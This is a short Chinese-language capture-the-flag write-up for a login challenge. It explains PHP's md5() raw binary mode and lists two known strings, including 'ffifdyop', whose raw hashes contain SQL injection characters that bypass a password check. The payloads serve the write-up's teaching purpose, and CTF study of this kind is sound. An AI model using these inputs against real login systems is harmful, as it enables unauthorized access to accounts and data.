#实验吧整理#后台登录

知识点

md5函数

• 它有两个参数string和raw。 第一个参数string是必需的，规定要计算的字符串。 第二个参数raw可选，规定十六进制或二进制输出格式：

TRUE - 原始 - 16 字符二进制格式
FALSE - 默认 - 32 字符十六进制数

wp

• 查看页面源代码，发现密码用md5加密，且函数的第二个参数为true，说明是二进制输出格式
  
• 因此需要字符串，让其md5值以原始二进制格式输出时含有能触发SQL注入的特殊字符，百度后找到两个这样的字符串：

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
string: T0Do#'or'8

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
string: 'or'6]!r,b

• 其url里面的ffifdyop就可以